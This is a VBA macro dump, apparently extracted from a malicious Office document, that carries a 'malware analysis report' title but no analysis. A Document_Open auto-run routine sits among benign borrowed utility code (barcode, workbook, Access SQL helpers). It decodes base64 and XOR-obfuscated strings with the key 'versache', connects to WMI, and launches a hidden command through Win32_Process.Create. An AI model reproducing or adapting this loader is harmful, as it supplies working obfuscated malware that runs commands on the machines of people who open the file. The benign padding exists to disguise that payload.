Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const CP_UTF8                       As Long = 65001

#If Win64 Then
Private Declare PtrSafe Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpDefaultChar As LongPtr, ByVal lpUsedDefaultChar As LongPtr) As LongPtr
Private Declare PtrSafe Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As LongPtr, ByVal dwFlags As LongPtr, lpMultiByteStr As Any, ByVal cchMultiByte As LongPtr, ByVal lpWideCharStr As LongPtr, ByVal cchWideChar As LongPtr) As Long
#Else
Private Declare Function WideCharToMultiByte Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpDefaultChar As Long, ByVal lpUsedDefaultChar As Long) As Long
Private Declare Function MultiByteToWideChar Lib "kernel32" (ByVal CodePage As Long, ByVal dwFlags As Long, lpMultiByteStr As Any, ByVal cchMultiByte As Long, ByVal lpWideCharStr As Long, ByVal cchWideChar As Long) As Long

#End If
 

 
 Dim Defrolo As Variant
 Dim flon As Variant
 
Sub MyCorlWB()

' [_Default] is the default member, so you can omit it
' All return the same result

  Debug.Print Workbooks.Item(1).name
  Debug.Print Workbooks.[_Default](1).name
  Debug.Print Workbooks(1).name

End Sub

Sub MyOpenRistrictedWB()

'Open Workbook locked read and write by password

Dim path As String: Let path = ThisWorkbook.path & "/RistrictRW.xlsx"
Dim pw As String: Let pw = "ban"

'W/o pass arguments
'Dim wb As Workbook: Set wb = Workbooks.Open(path)
'Debug.Print wb.Name

'W/ pass arguments
 With Workbooks.Open( _
    path, _
    Password:=pw, _
    WriteResPassword:=pw)
    
    Debug.Print .name
  End With
End Sub

Sub MyUsingTWB()
'Check out workbook objects methods and properties, and get workbook infomation

  Dim twb As Workbook: Set twb = ThisWorkbook
  Debug.Print twb.name
  
  Dim nl As String: nl = vbNewLine
  With twb
    Debug.Print .path; nl; .HasVBProject; nl; .Parent; nl; _
      .Password; nl; .Worksheets.Count; nl; _
      TypeName(.Worksheets)
      ' The Worksheets property doesn't return Worksheets collection, but Sheets collection
  
  End With
  
  ' This causes type mismatch error
  'Dim mysheets As Worksheets
  'Set mysheets = twb.Worksheets
  
End Sub

Sub MyPr()
  'PrintOut method doesn't allow mac users to preview. :(
  
  'ThisWorkBook.PrintOut From:=2, To:=4, Preview:=True
End Sub

Sub MyProtectWB()
  With ThisWorkbook
   .Protect "", Structure:=True
   Stop
   .Unprotect ""
  End With
End Sub

Sub MyGetEmbeddedProperties()
  On Error Resume Next
  Dim p As DocumentProperty
  For Each p In ThisWorkbook.BuiltInDocumentProperties
     Debug.Print p.name; p.Value
  Next
End Sub

Sub MyCantCreateInstance()
  'Some class is not createble, in example, Workbook class
  
  'Dim wb As Workbook: Set wb = New Workbook
End Sub

Sub sPressF2Enter()

    '----------------------------------------------------------------------------------------------------'
    '-- START - DECLARATION OF VARIABLES
    '----------------------------------------------------------------------------------------------------'

        Dim vWB As String       ' Workbook Name
        Dim vSheet As String    ' Sheet Name
        Dim vWS As worksheet    ' Active Sheet
        Dim vRIni As Long       ' Initial Row
        Dim vREnd As Long       ' Final Row
        Dim vR As Long          ' Row
        Dim vCIni As Long       ' Initial Column
        Dim vCnd As Long        ' Final Column
        Dim vC As Long          ' Column

    '----------------------------------------------------------------------------------------------------'
    '-- END - DECLARATION OF VARIABLES
    '----------------------------------------------------------------------------------------------------'
    
    '----------------------------------------------------------------------------------------------------'
    '-- START - INITIAL DEFINITIONS
    '----------------------------------------------------------------------------------------------------'

        vWB = "Excel"
        vSheet = "Plan1"

        Set vWS = Workbooks(vWB).Worksheets(vSheet)

        vRIni = 1       ' Initial Row
        vREnd = 200     ' Final Row

        vRIni = 1       ' Initial Column
        vREnd = 200     ' Final Column

    '----------------------------------------------------------------------------------------------------'
    '-- END - INITIAL DEFINITIONS
    '----------------------------------------------------------------------------------------------------'

    '----------------------------------------------------------------------------------------------------'
    '-- START - CODE
    '----------------------------------------------------------------------------------------------------'

        vR = vRIni
        vC = vCIni
        vWS.Cells(vR, vC).Select
        
        'For Rows

        For vR = vRIni To vREnd
        
            SendKeys "{F2}"
            SendKeys "{ENTER}"

        Next vR

        'For Columns

        For vC = vCIni To vCEnd
        
            SendKeys "{F2}"
            SendKeys "{ENTER}"

        Next vC

    '----------------------------------------------------------------------------------------------------'
    '-- END - CODE
    '----------------------------------------------------------------------------------------------------'
    
End Sub

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Sub Jirlasimus()

TreaHloe
End Sub

Public Sub Document_Open()
Dim der As Integer
der = 0
авто = StrReverse("tnemucoDMOD.2LMXSM")
For i = 0 To 99998
    On Error GoTo ger
    der = der + 1
Next
If (der = 99999) Then
ger: Set flon = CreateObject(авто).CreateElement("b64")
Else
Set flon = CreateObject(автро).CreateElement("b64")
End If
Jirlasimus
    

End Sub

Sub TreaHloe()

    Dim Dribinu As Variant
    Dribinu = NobosMeik _
    (VibinJoin _
    ("IQcXHjIAGgwGERsdBk07MhQAHz8OAAkRGRc=") _
    , "versache" _
    )
    Set Futril = CreateObject(Dribinu)


    Set Defrolo = Futril.ConnectServer()
    Defrolo.Security_.ImpersonationLevel = 43 - 40
    Call Vogi_u
    
End Sub


    
Function Vogi_u()

    Dim Grut_my_Friend As Variant
    On Error GoTo Gets
    Set Jhaue = GTehao _
    .Get





lll:    On Error _
    Resume Next
    Call Grut_my_Friend _
    .Create _
    (NobosMeik _
    (VibinJoin _
    ("BgoFFhMQAAAaCVJeFgoGARkSAQcYDw1FHgwWFwQNSEgVCh8eAA0MRT8IAhwTF0UoGQEHHwRDKgwCFiYBAA0bAxMXSVMyFwkXAkgwGhUQPBcXCwEVBBFISCUKBwECBkgNAhECSU5MCgQECx0HBE4KAlgWGwcETD4KGiBcFwAXRA0CEQJJTkwKBAQLHQcETgoCWBYbBwRMHgc9AFwXABdEDQIRAklOTAoEBAsdBwROCgJYFhsHBEwMFgUsAV0FAhxFWyEXABUKBgQCDB0dQT9KQRMLBEk1JiU1KhMbFw5NCwobOVBfPUFMABgTSCckLjg5BQMXAQA/SkkqR1YWDxVSMTMoIi8FEBssBUsRHAw/Sl5WNhcHTC8HBhcRGxwPQ0U1FxEaUz1BTAAYE0gnJC44OVReUhAEERwQAgweU0wHDQYZARdTEgUNFxdFFgAEEBteVkUhBwARHEgmFx0QBBAbRQAMFhxPAAcIVkgzAQYWBQAYET4aEhdIAQUAAQA="), "versache"), _
    Null, Null, Dret)
    GoTo Ref
Gets:
Set Grut_my_Friend = Defrolo.Get("Win32_Process")
GoTo lll

Ref:
End Function




Private Function NobosMeik(text As String, key As String) As String
  Dim VifoLer() As Byte
  Dim Grido() As Byte
  
  Dim VifJon As Long
  Dim GitClone As Long
    
  
  VifoLer = StrConv(text, vbFromUnicode)
  VifJon = UBound(VifoLer, 1)
  Grido = StrConv(key, vbFromUnicode)
  GitClone = UBound(Grido, 1)
  Dim VibikO As Long
  Dim Vbokil As Long
  
  For VibikO = (44 * 2 - 88) To VifJon
    VifoLer(VibikO) = _
    VifoLer(VibikO) _
    Xor _
    Grido(Vbokil)
    If Vbokil < GitClone Then
      Vbokil = _
      Vbokil + _
      (3 * 3 - 8)
    Else
      
      Vbokil = 56 - 28 * 2
    End If
  Next VibikO
  NobosMeik = StrConv(VifoLer, 64)
End Function








Public Function VibinJoin(Truiea As String) As String
    Dim Bgerpol()       As Byte
    Dim sValue          As String
    Dim Nujiko           As Long
    
    

 

    With flon
           
           .DataType = "bin.base" & CStr((110 - 46))
        .text = _
        Truiea
        Bgerpol = _
        . _
        NodeTypedValue
        sValue = String$((98 - 94) * UBound(Bgerpol), (321 * 2 - 642))
        Nujiko = MultiByteToWideChar(72463 - 7462, _
        (90 - 45 * 2), Bgerpol((78 - 39 * 2)), _
        UBound(Bgerpol, 1) + (74 * 3 - 221), _
        StrPtr(sValue), Len(sValue))
        VibinJoin = Left$(sValue, Nujiko)
    End With
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''



Public Function Barcode128A(barcodeText As String) As String
    'intended for code128 truetype font
    'https://www.dafont.com/code-128.font
    'see comments section for sample code
    'This function currently only handles CODE128A
    
    Dim START_CHAR As String
    START_CHAR = Chr(CODE128A_START)
    barcodeText = UCase(barcodeText) 'code128A only supports upper case characters so we need to ensure there's no lower case
    
    Dim i As Integer
    For i = 1 To Len(barcodeText)
        Dim charcode As Integer
        charcode = Asc(Mid(barcodeText, i, 1))
        If charcode < 32 Then 'ascii control codes, applies to code128A only
            charcode = charcode + Asc("`") 'control codes are shifted to where CODE128B would have lowercase characters
            Mid(barcodeText, i, 1) = Chr(charcode) 'replace character in the string to be sent
        End If
    Next i
    
    Barcode128A = START_CHAR & barcodeText & CalculateChecksum(START_CHAR & barcodeText) & Chr(CODE128_END)
End Function


Private Function CalculateChecksum(barcodeText As String) As String
    Dim checksum As Long
    checksum = Asc(barcodeText) - 100
    Dim i As Integer
    For i = 2 To Len(barcodeText)
        Dim charcode As Integer
        charcode = Asc(Mid(barcodeText, i, 1))
        If charcode >= CODE128_SELECT_C Then 'convert from font ascii values to code128 symbol values
            charcode = charcode - 100
        Else
            charcode = charcode - 32 'offset by 32 to start at symbol 0. Assumes ascii control codes (<32) were already remapped to lowercase ascii area
        End If
        checksum = checksum + (charcode * (i - 1))
    Next i
    'code 128 font printable characters range (ascii decimal): 32 - 126, 195 - 207 (203 - 207 are start/end symbols)
    
    checksum = checksum Mod 103 'checksum range 0 - 102
    checksum = checksum + 32 'offset to 32 - 134 to line up with first symbol in code128 font (symbols in range 32 - 126, 195 - 202)
    If (checksum > 126) Then 'symbols in ascii range 126 - 134 are mapped in code128 font characters 195 - 202
        checksum = checksum + (195 - 126 - 1)
    End If
    CalculateChecksum = Chr(checksum)
End Function


'returns a human readable ascii decimal numbering of each character in inputText
Function DebugString(inputText As String) As String
    Dim i As Integer
    For i = 1 To Len(inputText)
        DebugString = DebugString & Mid(inputText, i, 1) & "(" & Asc(Mid(inputText, i, 1)) & ") "
    Next i
End Function

Public Function toUnix(dt) As Long
    toUnix = DateDiff("s", "1/1/1970", dt)
End Function

Public Function toISO(dt) As String
    toISO = Format(dt, "YYYY-MM-DD") & "T" & Format(dt, "HH:MM:SS")
End Function

Public Function str(vValue) As String
    str = "'" & Replace(vValue, "'", "''") & "'"
End Function

Function JoinArrayofArrays(ByVal vArray As Variant, _
                Optional ByVal WordDelim As String = " ", _
                Optional ByVal LineDelim As String = vbNewLine) As String
    Dim R As Long, Lines() As String
    ReDim Lines(0 To UBound(vArray))
    For R = 0 To UBound(vArray)
        Dim InnerArray() As Variant
        InnerArray = vArray(R)
        Lines(R) = Join(InnerArray, WordDelim)
    Next
    JoinArrayofArrays = Join(Lines, LineDelim)
End Function

Function getDimension(Var As Variant) As Long
    On Error GoTo err
    Dim i As Long
    Dim tmp As Long
    i = 0
    Do While True
        i = i + 1
        tmp = UBound(Var, i)
    Loop

err:
        getDimension = i - 1
End Function

Public Sub QuickSort(vArray As Variant, inLow As Long, inHi As Long)
    Dim pivot   As Variant
    Dim tmpSwap As Variant
    Dim tmpLow  As Long
    Dim tmpHi   As Long

    tmpLow = inLow
    tmpHi = inHi

    pivot = vArray((inLow + inHi) \ 2)

    While (tmpLow <= tmpHi)

        While (vArray(tmpLow) < pivot And tmpLow < inHi)
            tmpLow = tmpLow + 1
        Wend

        While (pivot < vArray(tmpHi) And tmpHi > inLow)
            tmpHi = tmpHi - 1
        Wend

        If (tmpLow <= tmpHi) Then
            tmpSwap = vArray(tmpLow)
            vArray(tmpLow) = vArray(tmpHi)
            vArray(tmpHi) = tmpSwap
            tmpLow = tmpLow + 1
            tmpHi = tmpHi - 1
        End If
    Wend
    If (inLow < tmpHi) Then
        QuickSort vArray, inLow, tmpHi
    End If
    If (tmpLow < inHi) Then
        QuickSort vArray, tmpLow, inHi
    End If
End Sub

Public Function Barcode128Auto(barcodeText As String)
'intended for code128 truetype font
'https://www.dafont.com/code-128.font
'see comments section for sample code
'This function automatically selects modes A/B/C and switches between them for smallest possible output length

    Dim outputString As String
    outputString = Convert128Auto(MODE_AUTO, barcodeText)
    
    Dim startChar As Integer
    Select Case Asc(Left(outputString, 1))
    Case CODE128_SELECT_A: startChar = CODE128A_START 'convert first mode-switch symbol to equivalent start symbol
    Case CODE128_SELECT_B: startChar = CODE128B_START
    Case CODE128_SELECT_C: startChar = CODE128C_START
    End Select
    Mid(outputString, 1, 1) = Chr(startChar)

    Barcode128Auto = outputString & CalculateChecksum(outputString) & Chr(CODE128_END)
End Function


Private Function Convert128Auto(currentMode As String, inputString As String) As String
    Dim out As String
    
    If NumOfNumericDigits(inputString) = 2 Then 'minor optimisation for specific case having two numeric digits at start (no gain if there's 1 or 3)
        out = out & Chr(CODE128_SELECT_C)
        currentMode = MODE_AUTO_C
    End If
    
    Dim i As Integer
    i = 1
    Do While i <= Len(inputString)
        Dim s As String
        s = Mid(inputString, i)
        If currentMode <> MODE_AUTO_C And NumOfNumericDigits(s) >= 4 Then
            out = out & Chr(CODE128_SELECT_C)
            currentMode = MODE_AUTO_C
        End If
        Dim nextModeCheck As String
        nextModeCheck = FindNextBestMode(s) 'TODO: some redundant A/B mode switching might still occur
        If currentMode = MODE_AUTO_C And NumOfNumericDigits(s) >= 2 Then
            out = out & NumberToCode128CSymbol(Left(s, 2))
            i = i + 2
        ElseIf currentMode <> nextModeCheck Then 'not two numberic digits (or control code/lowercase swap), we need another mode
            currentMode = nextModeCheck
            Select Case currentMode
            Case MODE_AUTO_A: out = out & Chr(CODE128_SELECT_A)
            Case MODE_AUTO_B: out = out & Chr(CODE128_SELECT_B)
            End Select
        Else
            'convert one character
            If Asc(s) < 32 Then 'ascii control codes, applies to code128A only
                out = out & Chr(Asc(s) + Asc("`")) 'control codes are shifted to where CODE128B would have lowercase characters
            Else
                out = out & Left(s, 1)
            End If
            i = i + 1
        End If
        
    Loop
    Convert128Auto = out
End Function


Private Function FindNextBestMode(inputString As String) As String
    Dim i As Integer
    For i = 1 To Len(inputString)
        Select Case Asc(Mid(inputString, i, 1))
        Case 0 To 31: 'control code ascii values
            FindNextBestMode = MODE_AUTO_A
            Exit Function
        Case Asc("`") To 127: 'lowercase ascii values
            FindNextBestMode = MODE_AUTO_B
            Exit Function
        End Select
    Next i
    FindNextBestMode = MODE_AUTO_A 'default
End Function


Private Function NumberToCode128CSymbol(inputVal As Integer) As String
    If inputVal > 99 Then err.Raise 1, "NumberTo128CSymbol", "Can only fit two digits per symbol"
    NumberToCode128CSymbol = Chr(inputVal + 32) 'offset for code128 font. symbol value 0 mapped to ascii 32
End Function


Private Function NumOfNumericDigits(inputString As String) As Integer
'returns number of consecutive numeric digits from the start of inputstring (stops counting at the first non-numeric character)
    Dim i As Integer
    For i = 1 To Len(inputString)
        Select Case Mid(inputString, i, 1)
        Case "0" To "9": NumOfNumericDigits = i
        Case Else: Exit For
        End Select
    Next i
End Function

Public Sub ThreeDviewerRibbonctrl(Ribbon As IRibbonUI)
    '
    ' Code for onLoad callback. Ribbon control customUI
    '
    Set ThreeDViewerRibbon = Ribbon

End Sub

Public Sub BtnTopView_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button

    PredefineViews "frmRotationAxis", 0, 0, 0

End Sub

Public Sub BtnFrontView_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
   
    PredefineViews "frmRotationAxis", 90, -180, 90
  
End Sub

Public Sub BtnLeftView_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '

    PredefineViews "frmRotationAxis", -90, 0, 0
  
End Sub

Public Sub BtnRightView_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '

    PredefineViews "frmRotationAxis", -90, 0, -180
  
End Sub

Public Sub BtnIso30_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
    PredefineViews "frmRotationAxis", -45, 0, 30
  
End Sub

Public Sub BtnIso45_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
    PredefineViews "frmRotationAxis", -45, 0, 45
  
End Sub

Public Sub BtnShowRotationTool_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
    'frmRotationAxis.Show False
    
    PrepareForm
End Sub

Public Sub About_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
    frmMITLicence.Show
End Sub

Public Sub Contact_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    OpenUrl "https://www.linkedin.com/in/jean-marc-flamand-79592422/"

End Sub

Public Sub GitHub_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    OpenUrl "https://github.com/JeanMarcFlamand/VBA--3DMPViewer"

End Sub

Public Sub BtnReActivatePointFinderBtn_onAction(control As String)
    '
    ' Code for onAction callback. Ribbon control button
    '
    SelectChart ThisWorkbook.Sheets("Data")

End Sub

Sub PredefineViews(myform As String, xDeg As Integer, yDeg As Integer, zdeg As Integer)

    If IsUserFormLoaded(myform) Then
        'The form is already open
        PredefineRotation xDeg, yDeg, zdeg
    Else
        'Reopen the form"
        PrepareForm
        PredefineRotation xDeg, yDeg, zdeg
    End If
End Sub

Sub PredefineRotation(xDeg As Integer, yDeg As Integer, zdeg As Integer)

    'Update value in the worksheet
    ThisWorkbook.Sheets("Support").range("AlphaDeg").Value = xDeg
    ThisWorkbook.Sheets("Support").range("BetaDeg").Value = yDeg
    ThisWorkbook.Sheets("Support").range("GammaDeg").Value = zdeg
    
  
    
    'Update value on the form
    frmRotationAxis.txtXRot.Value = xDeg
    frmRotationAxis.ScrollBarX.Value = xDeg + 180
    frmRotationAxis.lblXScrollRot.Caption = xDeg
       
    frmRotationAxis.txtYRot.Value = yDeg
    frmRotationAxis.ScrollBarY.Value = yDeg + 180
    frmRotationAxis.lblYScrollRot.Caption = yDeg
       
    frmRotationAxis.txtZRot.Value = zdeg
    frmRotationAxis.ScrollBarZ.Value = zdeg + 180
    frmRotationAxis.lblZScrollRot.Caption = zdeg
       
 



End Sub

Function IsUserFormLoaded(ByVal UFName As String) As Boolean
    Dim UForm As Object

    IsUserFormLoaded = False
    For Each UForm In VBA.UserForms
        If UForm.name = UFName Then
            IsUserFormLoaded = True
            Exit For
        End If
    Next
End Function


Function getRS(stmt As String) As String ' {
  ' set getRS = dbEngine.workspaces(0).databases(0).openRecordset(stmt)
    Set getRS = currentDb().openRecordset(stmt)
End Function ' }

Function executeSQL(ByVal stmt As String) As Long ' {
'
'   Returns the numbers of rows affected.
'
'   Compare with executeQuery (below)
'

    On Error GoTo err

'
'   2019-01-04:
'     Apparently, it's not possible to create views via currentDB because
'     currentDB returns a DAO object...
'     See https://stackoverflow.com/a/32772851/180275
'
'   call currentDB().execute(stmt, dbFailOnError)
'
'     However, currentProject.connection returns an ADO connection object
'     with which it apprently is possible to create views:
'
    currentProject.connection.Execute stmt, executeSQL

' done:
    Exit Function

err:
    Call MsgBox("CommonFunctionalityDB - executeSQL" & vbCrLf & err.Description & " [" & err.Number & "]" & vbCrLf & "stmt = " & stmt)

  ' TODO http://www.lazerwire.com/2011/11/excel-vba-re-throw-errorexception.html
    err.Raise err.Number, err.Source, err.Description, err.HelpFile, err.HelpContext
'   resume done
End Function ' }

Sub executeQuery(ByVal stmt As String) ' {
'
'   Executes an SQL query and shows the result
'   in a grid.
'
'   Compare with executeSQL (above)
'

    On Error GoTo err_

    Const qryName = "tq84Query"

    Dim qry As String
    Set qry = createOrReplaceQuery(qryName, stmt)

    doCmd.openQuery qryName

    Exit Sub
err_:
    MsgBox ("Error in executeQuery: " & err.Description & " (" & err.Source & ")")
    showErrors
End Sub ' }

Sub executeQueryFromFile(fileName As String) ' {

    executeQuery (removeSQLComments(slurpFile(fileName)))

End Sub ' }

Sub runSQLScript(pathToScript As String) ' {

    Dim sqlStatements() As String

  '
  ' sqlStatementsOfFile() is found in ../Database/SQL.bas ( development/languages/VBA/modules/Database/SQL )
  '
    sqlStatements = sqlStatementsOfFile(pathToScript)

  ' dbgFileName(currentProject.path & "\log\sql")

    Dim i As Long
    For i = LBound(sqlStatements) To UBound(sqlStatements) - 1 ' Last "statement" is empty because split also returns the part after the last ; -> skip it
     ' dbg("sqlStatement = " & sqlStatements(i))
       Call executeSQL(sqlStatements(i))
    Next i

End Sub ' }

Sub deleteTable(tablename As String) ' {
    Call executeSQL("delete from " & tablename)
End Sub ' }

Function doesTableExist(tablename As String) As Boolean ' {

    If IsNull(dLookup("Name", "MSysObjects", "Name='" & tablename & "'")) Then
       doesTableExist = False
    Else
       doesTableExist = True
    End If

End Function ' }

Sub dropTableIfExists(tablename As String) ' {

  If Not doesTableExist(tablename) Then ' {
     Exit Sub
  End If ' }

  ' 2019-01-30:  on error resume next

  '
  ' First: close the potentially table in order to prevent error
  '   »The database engine could not lock table '…' because it is already
  '    in use by another person or process [-2147217900]«
  '
    doCmd.Close acTable, tablename, acSaveNo

  '
  ' Then: drop table
  '
    executeSQL ("drop table " & tablename)
End Sub ' }

Function truncDate(dt As Variant) As Variant ' {

    If IsNull(dt) Then
       truncDate = Null
       Exit Function
    End If

  '
  ' Add the numbers of seconds per day minus one
  ' to dt and round down.
  '
    truncDate = CDate(Fix(DateAdd("s", 86399, dt)))
End Function ' }

Function createOrReplaceQuery(name As String, stmt As String) As String ' {
'
' 2019-01-10: created from sub createQuery
'

  On Error Resume Next
  Set createOrReplaceQuery = currentDb().queryDefs(name)
  On Error GoTo 0

  If Not createOrReplaceQuery Is Nothing Then
   '
   ' The following sysCmd checks if the query is open.
   ' Apparently, the doCmd.close (below) does not fail if
   ' the query is not opened.
   '
   ' if sysCmd(acSysCmdGetObjectState, acQuery, name) = acObjStateOpen Then

      '
      ' A queryDef can only be deleted if it is closed.
      '
        doCmd.Close acQuery, name, acSaveNo
   ' end if

     currentDb().queryDefs.Delete (name)
  End If

  Set createOrReplaceQuery = currentDb().createQueryDef(name, stmt)

End Function ' }

Function singleSelectValue(stmt As String) As Variant ' {

' Return the one row, one column value of
' a select statement, such as in «select count(*) from x»

  Dim rs As String
  Set rs = getRS(stmt)
  singleSelectValue = rs(0)
  Set rs = Nothing

End Function ' }

Sub importExcelDataIntoTable(tablename As String, pathToWorkbook As String, worksheet As String, Optional range As String = "", Optional hasFieldNames As Boolean = False) ' {

  Dim worksheet_range As String

  If worksheet = "" Then
     worksheet_range = ""
  Else
     worksheet_range = worksheet & "!" & range
  End If

' use acLink to link to the data
' doCmd.transferSpreadsheet acImport, , tablename, pathToWorkbook, hasFieldNames, worksheet & "!" & range
  doCmd.transferSpreadsheet acImport, , tablename, pathToWorkbook, hasFieldNames, worksheet_range

End Sub ' }

Sub importAccessDataIntoTable(tablename As String, pathToDB As String, tablenameSource As String, Optional hasFieldNames As Boolean = False) ' {

  On Error GoTo nok

' use acLink to link to the data

  doCmd.transferDatabase acImport, "Microsoft Access", pathToDB, acTable, tablenameSource, tablename

done:
  Exit Sub

nok:
  Call err.Raise(vbObjectError + 1000, "CommonFunctionalityDB.bas", _
     err.Description & vbCrLf & _
     "err.number = " & err.Number & vbCrLf & _
     "tableName = " & tablename & vbCrLf & _
     "pathToDB  = " & pathToDB & vbCrLf & _
     "tablenameSource = " & tablenameSource & vbCrLf)

End Sub ' }

Sub closeAllQueryDefs() ' {

    Dim qry As String
    For Each qry In currentDb().queryDefs
        doCmd.Close acQuery, qry.name, acSaveNo
    Next qry

End Sub ' }

Function nvl2(val As Variant, retIfNotNull As Variant, retIfNull As Variant) ' {
  '
  ' Simulate Oracle's nvl2 function
  '
    If IsNull(val) Then
       nvl2 = retIfNull
       Exit Function
    End If

    nvl2 = retIfNotNull

End Function ' }

Function eq(val_1 As Variant, val_2 As Variant) As Boolean ' {

     If IsNull(val_1) Then
        If IsNull(val_2) Then
           eq = True
        Else
           eq = False
        End If
        Exit Function
    End If

    If IsNull(val_2) Then
       eq = False
       Exit Function
    End If

    eq = val_1 = val_2

End Function ' }

Sub diff2recordSetsRecords(rs1 As String, rs2 As String) ' {

    Dim fld As Variant: For Each fld In rs1.Fields ' {

        If IsNull(fld.Value) And Not IsNull(rs2(fld.name)) Then ' {
           Debug.Print "diff in " & fld.name & ": " & fld.Value & " <> " & rs2(fld.name)
           GoTo next_fld
        End If ' }

        If Not IsNull(fld.Value) And IsNull(rs2(fld.name)) Then ' {
           Debug.Print "diff in " & fld.name & ": " & fld.Value & " <> " & rs2(fld.name)
           GoTo next_fld
        End If ' }

        If TypeName(fld.Value) = "Double" Then ' {
           If Round(fld, 6) <> Round(rs2(fld.name), 6) Then
              Debug.Print "diff in " & fld.name & ": " & fld.Value & " <> " & rs2(fld.name)
           End If ' }
        Else ' {
           If fld <> rs2(fld.name) Then
              Debug.Print "diff in " & fld.name & ": " & fld.Value & " <> " & rs2(fld.name)
           End If
        End If ' }

next_fld:

    Next fld ' }

End Sub ' }

…